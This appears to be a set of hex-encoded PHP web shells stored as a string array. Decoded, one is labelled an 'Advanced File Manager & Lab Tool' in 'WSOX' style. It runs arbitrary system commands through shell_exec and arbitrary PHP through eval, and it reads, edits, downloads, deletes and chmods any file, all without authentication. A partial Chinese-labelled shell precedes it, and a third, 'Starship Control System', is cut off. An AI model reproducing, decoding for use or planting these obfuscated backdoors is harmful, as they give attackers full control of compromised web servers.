02020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d226d6b646972223e20e68c96e6b49eefbc9a3c696e70757420747970653d227465787422206e616d653d227031223e203c627574746f6e3ee68c96e68e983c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d226d6b66696c65223e20e79599e69da1efbc9a3c696e70757420747970653d227465787422206e616d653d227031223e203c627574746f6e3ee58699e5ad973c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a20202020202020203c2f6469763e0d0a0d0a20202020202020203c212d2d20e7bb88e7abaf202d2d3e0d0a20202020202020203c64697620636c6173733d2263617264223e0d0a2020202020202020202020203c68333ef09f90b120e6b1a4e5a786e79a84e788aae5ad9020285465726d696e616c293c2f68333e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c696e70757420747970653d227465787422206e616d653d22746f6d22207374796c653d2277696474683a3830253b2220706c616365686f6c6465723d226c73202d6c61223e203c627574746f6e3ee68a93e68ca03c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a2020202020202020202020203c3f7068702069662028245f5f5f545f5f5f293a203f3e3c7072653e3c3f706870206563686f2068746d6c7370656369616c636861727328245f5f5f545f5f5f293b203f3e3c2f7072653e3c3f70687020656e6469663b203f3e0d0a20202020202020203c2f6469763e0d0a202020203c2f6469763e0d0a3c2f6469763e0d0a0d0a3c3f7068700d0a2f2f20e4b88be8bdbd0d0a69662028697373657428245f4745545b27646f776e6c6f6164275d2929207b24663d245f4745545b27646f776e6c6f6164275d3b69662869735f66696c6528246629297b6865616465722827436f6e74656e742d446973706f736974696f6e3a206174746163686d656e743b2066696c656e616d653d22272e626173656e616d65282466292e272227293b7265616466696c65282466293b657869743b7d7d0d0a2f2f20e69fa5e79c8b0d0a69662028697373657428245f4745545b2776696577275d2929207b24663d245f4745545b2776696577275d3b69662869735f66696c6528246629297b6563686f20273c64697620636c6173733d2263617264223e3c7072653e272e68746d6c7370656369616c63686172732866696c655f6765745f636f6e74656e747328246629292e273c2f7072653e3c2f6469763e273b7d7d0d0a2f2f20e7bc96e8be910d0a69662028697373657428245f4745545b2765646974275d2929207b24663d245f4745545b2765646974275d3b6563686f20273c64697620636c6173733d2263617264223e3c666f726d206d6574686f643d22706f7374223e3c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d2273617665223e3c696e70757420747970653d2268696464656e22206e616d653d227031222076616c75653d22272e24662e27223e3c7465787461726561206e616d653d22703222207374796c653d2277696474683a313030253b6865696768743a33303070783b223e272e68746d6c7370656369616c63686172732866696c655f6765745f636f6e74656e747328246629292e273c2f74657874617265613e3c62723e3c62723e3c627574746f6e20747970653d227375626d6974223ee5b081e4bd8f3c2f627574746f6e3e3c2f666f726d3e3c2f6469763e273b7d0d0a2f2f20e9878de591bde5908d0d0a69662028697373657428245f4745545b2772656e616d65275d2929207b246f3d245f4745545b2772656e616d65275d3b6563686f20273c64697620636c6173733d2263617264223e3c666f726d206d6574686f643d22706f7374223e3c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d2272656e616d65223e3c696e70757420747970653d2268696464656e22206e616d653d227031222076616c75653d22272e246f2e27223e3c696e70757420747970653d227465787422206e616d653d227032222076616c75653d22272e626173656e616d6528246f292e27223e203c627574746f6e3ee68da2e5908d3c2f627574746f6e3e3c2f666f726d3e3c2f6469763e273b7d0d0a2f2f20e69d83e999900d0a69662028697373657428245f4745545b2763686d6f64275d2929207b24663d245f4745545b2763686d6f64275d3b6563686f20273c64697620636c6173733d2263617264223e3c666f726d206d6574686f643d22706f7374223e3c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d2263686d6f64223e3c696e70757420747970653d2268696464656e22206e616d653d227031222076616c75653d22272e24662e27223e3c73656c656374206e616d653d227032223e3c6f7074696f6e2076616c75653d2230363434223e303634343c2f6f7074696f6e3e3c6f7074696f6e2076616c75653d2230373535223e303735353c2f6f7074696f6e3e3c2f73656c6563743e203c627574746f6e3ee79b96e7aba03c2f627574746f6e3e3c2f666f726d3e3c2f6469763e273b7d0d0a3f3e0d0a0d0a3c2f626f64793e0d0a3c2f68746d6c3e","3c3f7068700d0a2f2a2a0d0a202a20416476616e6365642046696c65204d616e616765722026204c616220546f6f6c202857534f58205374796c6564204c61796f7574290d0a202a2f0d0a0d0a2f2f20312e20e59fbae7a180e9858de7bdaee4b88ee8b7afe5be84e88eb7e58f960d0a2463757272656e745f646972203d20697373657428245f4745545b27646972275d29203f207265616c7061746828245f4745545b27646972275d29203a207265616c7061746828272e27293b0d0a69662028212463757272656e745f646972207c7c202169735f646972282463757272656e745f6469722929207b0d0a202020202463757272656e745f646972203d207265616c7061746828272e27293b0d0a7d0d0a2463757272656e745f646972203d20727472696d282463757272656e745f6469722c204449524543544f52595f534550415241544f5229202e204449524543544f52595f534550415241544f523b0d0a0d0a246d657373616765203d2022223b0d0a0d0a2f2f20322e20e6a0b8e5bf83e5908ee7abafe980bbe8be91e5a484e790860d0a69662028697373657428245f504f53545b27616374696f6e275d2929207b0d0a202020202f2f20e696b0e5bbbae69687e4bbb6e5a4b90d0a2020202069662028245f504f53545b27616374696f6e275d203d3d20276d6b646972272026262021656d70747928245f504f53545b276e616d65275d2929207b0d0a202020202020202024746172676574203d202463757272656e745f646972202e20245f504f53545b276e616d65275d3b0d0a2020202020202020406d6b646972282474617267657429203f20246d657373616765203d2022e79baee5bd95e5889be5bbbae68890e58a9f22203a20246d657373616765203d2022e79baee5bd95e5889be5bbbae5a4b1e8b4a5223b0d0a202020207d0d0a202020202f2f20e696b0e5bbbae69687e4bbb60d0a2020202069662028245f504f53545b27616374696f6e275d203d3d20276d6b66696c65272026262021656d70747928245f504f53545b276e616d65275d2929207b0d0a202020202020202024746172676574203d202463757272656e745f646972202e20245f504f53545b276e616d65275d3b0d0a20202020202020204066696c655f7075745f636f6e74656e747328247461726765742c2022222920213d3d2066616c7365203f20246d657373616765203d2022e69687e4bbb6e5889be5bbbae68890e58a9f22203a20246d657373616765203d2022e69687e4bbb6e5889be5bbbae5a4b1e8b4a5223b0d0a202020207d0d0a202020202f2f20e4bf9de5ad98e69687e4bbb6e7bc96e8be910d0a2020202069662028245f504f53545b27616374696f6e275d203d3d202765646974272026262021656d70747928245f504f53545b2766696c6570617468275d2929207b0d0a20202020202020204066696c655f7075745f636f6e74656e747328245f504f53545b2766696c6570617468275d2c20245f504f53545b27636f6e74656e74275d2920213d3d2066616c7365200d0a2020202020202020202020203f20246d657373616765203d2022e69687e4bbb6e4bf9de5ad98e68890e58a9f22203a20246d657373616765203d2022e69687e4bbb6e4bf9de5ad98e5a4b1e8b4a5223b0d0a202020207d0d0a7d0d0a0d0a2f2f20e588a0e999a4e6938de4bd9c0d0a69662028697373657428245f4745545b2764656c275d2929207b0d0a2020202024746172676574203d20245f4745545b2764656c275d3b0d0a202020206966202869735f66696c6528247461726765742929207b0d0a202020202020202040756e6c696e6b282474617267657429203f20246d657373616765203d2022e69687e4bbb6e588a0e999a4e68890e58a9f22203a20246d657373616765203d2022e69687e4bbb6e588a0e999a4e5a4b1e8b4a5223b0d0a202020207d20656c73656966202869735f64697228247461726765742929207b0d0a202020202020202040726d646972282474617267657429203f20246d657373616765203d2022e7a9bae79baee5bd95e588a0e999a4e68890e58a9f22203a20246d657373616765203d2022e79baee5bd95e588a0e999a4e5a4b1e8b4a528e58fafe883bde99d9ee7a9ba29223b0d0a202020207d0d0a7d0d0a0d0a2f2f20332e20e7bb9fe8aea1e7a1ace79b98e7a9bae997b4e5aeb9e9878f2028e5afb9e5ba94e5b7a6e4bea7e9a1b5e99da2e79a842048646420e6a08fe79bae290d0a24746f74616c5f7370616365203d20406469736b5f746f74616c5f7370616365282463757272656e745f64697229203f20726f756e64286469736b5f746f74616c5f7370616365282463757272656e745f64697229202f2028313032342a313032342a31303234292c203229203a20303b0d0a24667265655f7370616365203d20406469736b5f667265655f7370616365282463757272656e745f64697229203f20726f756e64286469736b5f667265655f7370616365282463757272656e745f64697229202f2028313032342a313032342a31303234292c203229203a20303b0d0a24667265655f70657263656e74203d2024746f74616c5f7370616365203f20726f756e64282824667265655f7370616365202f2024746f74616c5f737061636529202a203130302c203229203a20303b0d0a0d0a2f2f20342e20e8afbbe58f96e5bd93e5898de79baee5bd95e4b88be79a84e69687e4bbb6e58897e8a1a80d0a2466696c6573203d205b5d3b0d0a69662028246468203d20406f70656e646972282463757272656e745f6469722929207b0d0a202020207768696c652028282466696c65203d207265616464697228246468292920213d3d2066616c736529207b0d0a2020202020202020696620282466696c65203d3d20272e272920636f6e74696e75653b0d0a20202020202020202466696c6570617468203d202463757272656e745f646972202e202466696c653b0d0a20202020202020202466696c65735b5d203d205b0d0a202020202020202020202020276e616d6527203d3e202466696c652c0d0a202020202020202020202020277061746827203d3e202466696c65706174682c0d0a2020202020202020202020202769735f64697227203d3e2069735f646972282466696c6570617468292c0d0a2020202020202020202020202773697a6527203d3e2069735f646972282466696c657061746829203f202764697227203a20726f756e642866696c6573697a65282466696c657061746829202f20313032342c203229202e2027204b42272c0d0a202020202020202020202020277065726d7327203d3e2073756273747228737072696e74662827256f272c204066696c657065726d73282466696c657061746829292c202d34292c0d0a202020202020202020202020276d74696d6527203d3e20646174652822592d6d2d6420483a693a73222c204066696c656d74696d65282466696c657061746829290d0a20202020202020205d3b0d0a202020207d0d0a20202020636c6f736564697228246468293b0d0a7d0d0a0d0a2f2f20e68e92e5ba8fefbc9ae79baee5bd95e59ca8e5898defbc8ce69687e4bbb6e59ca8e5908e0d0a75736f7274282466696c65732c2066756e6374696f6e2824612c20246229207b0d0a202020206966202824615b2769735f646972275d203d3d2024625b2769735f646972275d292072657475726e207374726e617463617365636d702824615b276e616d65275d2c2024625b276e616d65275d293b0d0a2020202072657475726e2024615b2769735f646972275d203f202d31203a20313b0d0a7d293b0d0a3f3e0d0a3c21444f43545950452068746d6c3e0d0a3c68746d6c206c616e673d227a682d434e223e0d0a3c686561643e0d0a202020203c6d65746120636861727365743d225554462d38223e0d0a202020203c7469746c653e57534f5820454e43205632202d20436f6e736f6c653c2f7469746c653e0d0a202020203c7374796c653e0d0a2020202020202020626f6479207b20666f6e742d66616d696c793a206d6f6e6f73706163653b206261636b67726f756e643a20233161316131613b20636f6c6f723a20236330633063303b206d617267696e3a20313570783b20666f6e742d73697a653a20313370783b207d0d0a202020202020202061207b20636f6c6f723a20233563623835633b20746578742d6465636f726174696f6e3a206e6f6e653b207d0d0a2020202020202020613a686f766572207b20746578742d6465636f726174696f6e3a20756e6465726c696e653b207d0d0a20202020202020200d0a20202020202020202f2a20e9a1b6e983a8e7b4a7e58791e79c8be69dbfe6a0b7e5bc8f202a2f0d0a20202020202020202e6865616465722d626f78207b206261636b67726f756e643a20233232323b20626f726465723a2031707820736f6c696420233333333b2070616464696e673a2038707820313270783b206c696e652d6865696768743a20312e363b206d617267696e2d626f74746f6d3a20313070783b207d0d0a20202020202020202e6865616465722d626f78207374726f6e67207b20636f6c6f723a20236630616434653b207d0d0a20202020202020202e706174682d6c696e6b207b20636f6c6f723a20233563623835633b20666f6e742d7765696768743a20626f6c643b207d0d0a20202020202020200d0a20202020202020202f2a20e5bfabe68db7e5a49ae58a9fe883bde5afbce888aae88f9ce58d95202a2f0d0a20202020202020202e6e61762d626172207b206261636b67726f756e643a20233264326432643b2070616464696e673a2036707820313270783b20626f726465723a2031707820736f6c696420233333333b206d617267696e2d626f74746f6d3a20313570783b20646973706c61793a20666c65783b206761703a20323070783b207d0d0a20202020202020202e6e61762d6261722061207b20636f6c6f723a20236666663b20666f6e742d7765696768743a20626f6c643b207d0d0a20202020202020202e6e61762d626172207370616e2e656e63207b20636f6c6f723a20233838383b206d617267696e2d6c6566743a206175746f3b207d0d0a0d0a20202020202020202f2a20e8a1a8e6a0bce6a0b7e5bc8fe4bc98e58c96202a2f0d0a20202020202020207461626c65207b2077696474683a20313030253b20626f726465722d636f6c6c617073653a20636f6c6c617073653b206d617267696e2d746f703a20313070783b206261636b67726f756e643a20233232323b207d0d0a202020202020202074682c207464207b2070616464696e673a2036707820313070783b20746578742d616c69676e3a206c6566743b20626f726465723a2031707820736f6c696420233333333b207d0d0a20202020202020207468207b206261636b67726f756e643a20233264326432643b20636f6c6f723a20236666663b207d0d0a202020202020202074723a686f766572207b206261636b67726f756e643a20233261326132613b207d0d0a20202020202020200d0a20202020202020202f2a20e69dbfe59d97e585ace794a8202a2f0d0a20202020202020202e73656374696f6e2d626f78207b206261636b67726f756e643a20233232323b2070616464696e673a20313570783b20626f726465723a2031707820736f6c696420233333333b206d617267696e2d746f703a20313570783b207d0d0a20202020202020202e73656374696f6e2d626f78206833207b206d617267696e2d746f703a20303b20636f6c6f723a20236666663b20626f726465722d626f74746f6d3a2031707820736f6c696420233333333b2070616464696e672d626f74746f6d3a203570783b207d0d0a20202020202020200d0a2020202020202020696e7075745b747970653d2274657874225d2c207465787461726561207b206261636b67726f756e643a20233333333b20636f6c6f723a20236666663b20626f726465723a2031707820736f6c696420233434343b2070616464696e673a203570783b20666f6e742d66616d696c793a206d6f6e6f73706163653b207d0d0a2020202020202020696e7075745b747970653d227375626d6974225d207b206261636b67726f756e643a20233333333b20636f6c6f723a20236666663b20626f726465723a2031707820736f6c696420233535353b2070616464696e673a2034707820313270783b20637572736f723a20706f696e7465723b207d0d0a2020202020202020696e7075745b747970653d227375626d6974225d3a686f766572207b206261636b67726f756e643a20233563623835633b20636f6c6f723a20236666663b20626f726465722d636f6c6f723a20233563623835633b207d0d0a20202020202020202e6d7367207b20636f6c6f723a20236666333333333b20666f6e742d7765696768743a20626f6c643b206d617267696e3a203130707820303b207d0d0a2020202020202020707265207b206261636b67726f756e643a20233030303b20636f6c6f723a20233030666630303b2070616464696e673a20313070783b20626f726465723a2031707820736f6c696420233333333b206f766572666c6f773a206175746f3b20776f72642d777261703a20627265616b2d776f72643b2077686974652d73706163653a207072652d777261703b207d0d0a202020203c2f7374796c653e0d0a3c2f686561643e0d0a3c626f64793e0d0a0d0a3c64697620636c6173733d226865616465722d626f78223e0d0a202020203c7374726f6e673e556e616d653a3c2f7374726f6e673e203c3f706870206563686f207068705f756e616d6528293b203f3e3c62723e0d0a202020203c7374726f6e673e557365723a3c2f7374726f6e673e203c3f706870206563686f20406765746d797569642829202e202220282022202e20406765745f63757272656e745f757365722829202e20222029223b203f3e200d0a202020203c7374726f6e673e47726f75703a3c2f7374726f6e673e203c3f706870206563686f20406765746d7967696428293b203f3e200d0a202020203c7374726f6e673e5068703a3c2f7374726f6e673e203c3f706870206563686f2070687076657273696f6e28293b203f3e200d0a202020203c7374726f6e673e53616665206d6f64653a3c2f7374726f6e673e203c7370616e207374796c653d22636f6c6f723a203c3f706870206563686f20696e695f6765742827736166655f6d6f64652729203f20272366663333333327203a202723356362383563273b203f3e223e3c3f706870206563686f20696e695f6765742827736166655f6d6f64652729203f20274f4e27203a20274f4646273b203f3e3c2f7370616e3e0d0a202020203c7374726f6e673e4461746574696d653a3c2f7374726f6e673e203c3f706870206563686f20646174652822592d6d2d6420483a693a7322293b203f3e3c62723e0d0a202020203c7374726f6e673e4864643a3c2f7374726f6e673e203c3f706870206563686f2024746f74616c5f73706163653b203f3e204742203c7374726f6e673e467265653a3c2f7374726f6e673e203c3f706870206563686f2024667265655f73706163653b203f3e20474220283c3f706870206563686f2024667265655f70657263656e743b203f3e25293c62723e0d0a202020203c7374726f6e673e4377643a3c2f7374726f6e673e200d0a202020203c7370616e20636c6173733d22706174682d6c696e6b223e0d0a20202020202020203c3f706870200d0a20202020202020202f2f20e887aae58aa8e5b086e7bb9de5afb9e8b7afe5be84e68b86e58886e4b8bae58fafe782b9e587bbe79a84e5b182e7baa7e993bee68ea50d0a2020202020202020246368756e6b73203d206578706c6f6465284449524543544f52595f534550415241544f522c20727472696d282463757272656e745f6469722c204449524543544f52595f534550415241544f5229293b0d0a202020202020202024616363203d2022223b0d0a20202020202020206563686f20223c6120687265663d273f6469723d222e75726c656e636f6465284449524543544f52595f534550415241544f52292e22273e2f3c2f613e223b0d0a2020202020202020666f72656163682028246368756e6b7320617320246368756e6b29207b0d0a20202020202020202020202069662028246368756e6b203d3d3d2022222920636f6e74696e75653b0d0a20202020202020202020202024616363202e3d20246368756e6b202e204449524543544f52595f534550415241544f523b0d0a2020202020202020202020206563686f20223c6120687265663d273f6469723d222e75726c656e636f64652824616363292e22273e246368756e6b3c2f613e2f223b0d0a20202020202020207d0d0a20202020202020203f3e0d0a202020203c2f7370616e3e0d0a3c2f6469763e0d0a0d0a3c64697620636c6173733d226e61762d626172223e0d0a202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f6465282463757272656e745f646972293b203f3e26616374696f6e3d706870696e666f223e205b2050485020496e666f205d203c2f613e0d0a202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f6465282463757272656e745f646972293b203f3e223e205b2046696c6573205d203c2f613e0d0a202020203c6120687265663d2223657865632d73656374696f6e223e205b2045786563205d203c2f613e0d0a202020203c6120687265663d22236576616c2d73656374696f6e223e205b204576616c205d203c2f613e0d0a202020203c7370616e20636c6173733d22656e63223e7b285554462d38292c2057696e646f77732d313235312c204b4f49382d522c2063703836367d3c2f7370616e3e0d0a3c2f6469763e0d0a0d0a3c3f7068702069662821656d70747928246d6573736167652929206563686f20223c7020636c6173733d276d7367273ee9809ae79fa53a20246d6573736167653c2f703e223b203f3e0d0a0d0a3c3f7068702069662028697373657428245f4745545b27616374696f6e275d2920262620245f4745545b27616374696f6e275d203d3d2027706870696e666f27293a203f3e0d0a202020203c64697620636c6173733d2273656374696f6e2d626f78223e0d0a20202020202020203c68333ee284b9efb88f2050485020496e666f3c2f68333e0d0a20202020202020203c696672616d65207372633d223f6469723d3c3f706870206563686f2075726c656e636f6465282463757272656e745f646972293b203f3e2672656e6465723d706870696e666f22207374796c653d2277696474683a313030253b206865696768743a34303070783b206261636b67726f756e643a236666663b20626f726465723a6e6f6e653b223e3c2f696672616d653e0d0a202020203c2f6469763e0d0a3c3f706870200d0a656e6469663b200d0a2f2f20e78bace7ab8be79a8420504850496e666f20e58685e7bdaee6b8b2e69f93e599a8e4bf9de68aa4e5b1820d0a69662028697373657428245f4745545b2772656e646572275d2920262620245f4745545b2772656e646572275d203d3d2027706870696e666f2729207b0d0a202020206f625f636c65616e28293b0d0a20202020706870696e666f28293b0d0a20202020657869743b0d0a7d0d0a3f3e0d0a0d0a3c7461626c653e0d0a202020203c74686561643e0d0a20202020202020203c74723e0d0a2020202020202020202020203c74683ee5908de7a7b03c2f74683e0d0a2020202020202020202020203c74683ee5a4a7e5b08f3c2f74683e0d0a2020202020202020202020203c74683ee4bfaee694b9e697b6e997b43c2f74683e0d0a2020202020202020202020203c74683ee69d83e999903c2f74683e0d0a2020202020202020202020203c74683ee6938de4bd9c3c2f74683e0d0a20202020202020203c2f74723e0d0a202020203c2f74686561643e0d0a202020203c74626f64793e0d0a20202020202020203c74723e0d0a2020202020202020202020203c74643e3c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f6465286469726e616d65282463757272656e745f64697229293b203f3e22207374796c653d22636f6c6f723a20236630616434653b223ee38090202e2e20e3809128e8bf94e59b9ee4b88ae7baa7293c2f613e3c2f74643e0d0a2020202020202020202020203c74643e6469723c2f74643e0d0a2020202020202020202020203c74643e2d3c2f74643e0d0a2020202020202020202020203c74643e2d3c2f74643e0d0a2020202020202020202020203c74643e2d3c2f74643e0d0a20202020202020203c2f74723e0d0a20202020202020200d0a20202020202020203c3f70687020666f726561636820282466696c6573206173202466293a203f3e0d0a20202020202020203c74723e0d0a2020202020202020202020203c74643e0d0a202020202020202020202020202020203c3f706870206966202824665b2769735f646972275d293a203f3e0d0a20202020202020202020202020202020202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e22207374796c653d22636f6c6f723a20236630616434653b223e5b203c3f706870206563686f2024665b276e616d65275d3b203f3e205d3c2f613e0d0a202020202020202020202020202020203c3f70687020656c73653a203f3e0d0a20202020202020202020202020202020202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f6465282463757272656e745f646972293b203f3e26766965773d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223e3c3f706870206563686f2024665b276e616d65275d3b203f3e3c2f613e0d0a202020202020202020202020202020203c3f70687020656e6469663b203f3e0d0a2020202020202020202020203c2f74643e0d0a2020202020202020202020203c74643e3c3f706870206563686f2024665b2773697a65275d3b203f3e3c2f74643e0d0a2020202020202020202020203c74643e3c3f706870206563686f2024665b276d74696d65275d3b203f3e3c2f74643e0d0a2020202020202020202020203c74643e3c7370616e207374796c653d22636f6c6f723a20233838383b223e3c3f706870206563686f2024665b277065726d73275d3b203f3e3c2f7370616e3e3c2f74643e0d0a2020202020202020202020203c74643e0d0a202020202020202020202020202020203c3f70687020696620282124665b2769735f646972275d293a203f3e0d0a20202020202020202020202020202020202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f6465282463757272656e745f646972293b203f3e26656469743d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223ee7bc96e8be913c2f613e207c200d0a202020202020202020202020202020203c3f70687020656e6469663b203f3e0d0a202020202020202020202020202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f6465282463757272656e745f646972293b203f3e2664656c3d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e22206f6e636c69636b3d2272657475726e20636f6e6669726d2827e7a1aee5ae9ae588a0e999a4e6ada4e9a1b9efbc9f2729223ee588a0e999a43c2f613e0d0a2020202020202020202020203c2f74643e0d0a20202020202020203c2f74723e0d0a20202020202020203c3f70687020656e64666f72656163683b203f3e0d0a202020203c2f74626f64793e0d0a3c2f7461626c653e0d0a0d0a2d2d2d0d0a0d0a3c3f706870200d0a69662028697373657428245f4745545b2776696577275d29293a200d0a2020202024766965775f70617468203d20245f4745545b2776696577275d3b0d0a202020206966202869735f66696c652824766965775f7061746829293a0d0a3f3e0d0a202020203c64697620636c6173733d2273656374696f6e2d626f78223e0d0a20202020202020203c68333ef09f948d20e69fa5e79c8be69687e4bbb6e58685e5aeb93a203c3f706870206563686f2068746d6c7370656369616c636861727328626173656e616d652824766965775f7061746829293b203f3e3c2f68333e0d0a20202020202020203c7072653e3c3f706870206563686f2068746d6c7370656369616c63686172732866696c655f6765745f636f6e74656e74732824766965775f7061746829293b203f3e3c2f7072653e0d0a202020203c2f6469763e0d0a3c3f70687020656e6469663b20656e6469663b203f3e0d0a0d0a3c3f706870200d0a69662028697373657428245f4745545b2765646974275d29293a200d0a2020202024656469745f70617468203d20245f4745545b2765646974275d3b0d0a202020206966202869735f66696c652824656469745f7061746829293a0d0a3f3e0d0a202020203c64697620636c6173733d2273656374696f6e2d626f78223e0d0a20202020202020203c68333ef09f939d20e7bc96e8be91e69687e4bbb63a203c3f706870206563686f2068746d6c7370656369616c636861727328626173656e616d652824656469745f7061746829293b203f3e3c2f68333e0d0a20202020202020203c666f726d206d6574686f643d22504f53542220616374696f6e3d223f6469723d3c3f706870206563686f2075726c656e636f6465282463757272656e745f646972293b203f3e223e0d0a2020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d2265646974223e0d0a2020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d2266696c6570617468222076616c75653d223c3f706870206563686f2068746d6c7370656369616c63686172732824656469745f70617468293b203f3e223e0d0a2020202020202020202020203c7465787461726561206e616d653d22636f6e74656e7422207374796c653d2277696474683a313030253b206865696768743a32353070783b223e3c3f706870206563686f2068746d6c7370656369616c63686172732866696c655f6765745f636f6e74656e74732824656469745f7061746829293b203f3e3c2f74657874617265613e3c62723e3c62723e0d0a2020202020202020202020203c696e70757420747970653d227375626d6974222076616c75653d22e4bf9de5ad98e4bfaee694b9223e0d0a20202020202020203c2f666f726d3e0d0a202020203c2f6469763e0d0a3c3f70687020656e6469663b20656e6469663b203f3e0d0a0d0a0d0a3c64697620636c6173733d2273656374696f6e2d626f78223e0d0a202020203c68333ef09f938120e696b0e5bbbae69687e4bbb62fe79baee5bd953c2f68333e0d0a202020203c666f726d206d6574686f643d22504f53542220616374696f6e3d223f6469723d3c3f706870206563686f2075726c656e636f6465282463757272656e745f646972293b203f3e22207374796c653d22646973706c61793a696e6c696e652d626c6f636b3b206d617267696e2d72696768743a333070783b223e0d0a20202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d226d6b646972223e0d0a2020202020202020e696b0e5bbbae69687e4bbb6e5a4b93a203c696e70757420747970653d227465787422206e616d653d226e616d652220726571756972656420706c616365686f6c6465723d22e5a682efbc9a6e65775f666f6c646572223e0d0a20202020202020203c696e70757420747970653d227375626d6974222076616c75653d22e7a1aee8aea4e5889be5bbba223e0d0a202020203c2f666f726d3e0d0a202020200d0a202020203c666f726d206d6574686f643d22504f53542220616374696f6e3d223f6469723d3c3f706870206563686f2075726c656e636f6465282463757272656e745f646972293b203f3e22207374796c653d22646973706c61793a696e6c696e652d626c6f636b3b223e0d0a20202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d226d6b66696c65223e0d0a2020202020202020e696b0e5bbbae7a9bae69687e4bbb63a203c696e70757420747970653d227465787422206e616d653d226e616d652220726571756972656420706c616365686f6c6465723d22e5a682efbc9a636f6e6669672e706870223e0d0a20202020202020203c696e70757420747970653d227375626d6974222076616c75653d22e7a1aee8aea4e5889be5bbba223e0d0a202020203c2f666f726d3e0d0a3c2f6469763e0d0a0d0a3c6469762069643d22657865632d73656374696f6e2220636c6173733d2273656374696f6e2d626f78223e0d0a202020203c68333ef09f92bb20e591bde4bba4e689a7e8a18c202845786563293c2f68333e0d0a202020203c666f726d206d6574686f643d22504f53542220616374696f6e3d223f6469723d3c3f706870206563686f2075726c656e636f6465282463757272656e745f646972293b203f3e23657865632d73656374696f6e223e0d0a2020202020202020e8be93e585a5e7b3bbe7bb9fe591bde4bba43a203c696e70757420747970653d227465787422206e616d653d22636d6422207374796c653d2277696474683a203630253b222076616c75653d223c3f706870206563686f20697373657428245f504f53545b27636d64275d29203f2068746d6c7370656369616c636861727328245f504f53545b27636d64275d29203a2027273b203f3e2220706c616365686f6c6465723d2277686f616d69202f206c73202d6c61223e0d0a20202020202020203c696e70757420747970653d227375626d6974222076616c75653d2245786563757465223e0d0a202020203c2f666f726d3e0d0a202020203c3f7068700d0a202020206966202821656d70747928245f504f53545b27636d64275d2929207b0d0a20202020202020206563686f20223c7072653e223b0d0a202020202020202024636d64203d202263642022202e206573636170657368656c6c617267282463757272656e745f64697229202e20222026262022202e20245f504f53545b27636d64275d3b0d0a20202020202020206563686f2068746d6c7370656369616c6368617273287368656c6c5f657865632824636d64202e202220323e26312229293b0d0a20202020202020206563686f20223c2f7072653e223b0d0a202020207d0d0a202020203f3e0d0a3c2f6469763e0d0a0d0a3c6469762069643d226576616c2d73656374696f6e2220636c6173733d2273656374696f6e2d626f78223e0d0a202020203c68333ef09fa7aa2050485020e4bba3e7a081e689a7e8a18c20284576616c293c2f68333e0d0a202020203c666f726d206d6574686f643d22504f53542220616374696f6e3d223f6469723d3c3f706870206563686f2075726c656e636f6465282463757272656e745f646972293b203f3e236576616c2d73656374696f6e223e0d0a20202020202020203c7465787461726561206e616d653d227068705f636f646522207374796c653d2277696474683a313030253b206865696768743a31303070783b2220706c616365686f6c6465723d222f2f20e7bc96e58699e697a0e99c80e5b8a620266c743b3f70687020e6a087e7adbee79a84e58e9fe7949fe4bba3e7a081efbc8ce5a682efbc9a7072696e745f7228696e695f6765745f616c6c2829293b223e3c3f706870206563686f20697373657428245f504f53545b277068705f636f6465275d29203f2068746d6c7370656369616c636861727328245f504f53545b277068705f636f6465275d29203a2027273b203f3e3c2f74657874617265613e3c62723e3c62723e0d0a20202020202020203c696e70757420747970653d227375626d6974222076616c75653d224576616c20e8bf90e8a18ce4bba3e7a081223e0d0a202020203c2f666f726d3e0d0a202020203c3f7068700d0a202020206966202821656d70747928245f504f53545b277068705f636f6465275d2929207b0d0a20202020202020206563686f20223c68343ee8bf90e8a18ce8be93e587bae7bb93e69e9c3a3c2f68343e223b0d0a20202020202020206563686f20223c7072653e223b0d0a20202020202020206f625f737461727428293b0d0a2020202020202020747279207b0d0a2020202020202020202020206576616c28245f504f53545b277068705f636f6465275d293b0d0a20202020202020207d20636174636820285468726f7761626c6520246529207b0d0a2020202020202020202020206563686f2022e689a7e8a18ce587bae994993a2022202e2024652d3e6765744d65737361676528293b0d0a20202020202020207d0d0a2020202020202020246f7574707574203d206f625f6765745f636c65616e28293b0d0a20202020202020206563686f2068746d6c7370656369616c636861727328246f7574707574293b0d0a20202020202020206563686f20223c2f7072653e223b0d0a202020207d0d0a202020203f3e0d0a3c2f6469763e0d0a0d0a3c2f626f64793e0d0a3c2f68746d6c3e","3c3f7068700d0a2f2a203d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d0d0a202020f09f9a8020537461727368697020436f6e74726f6c2053797374656d2076322e300d0a2020203d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d202a2f0d0a73657373696f6e5f737461727428293b0d0a6572726f725f7265706f7274696e672830293b0d0a696e695f7365742827646973706c61795f6572726f7273272c2030293b0d0a0d0a2f2a202d2d2d2d20312e20e6989fe99985e8aea4e8af81e7bd91e585b3202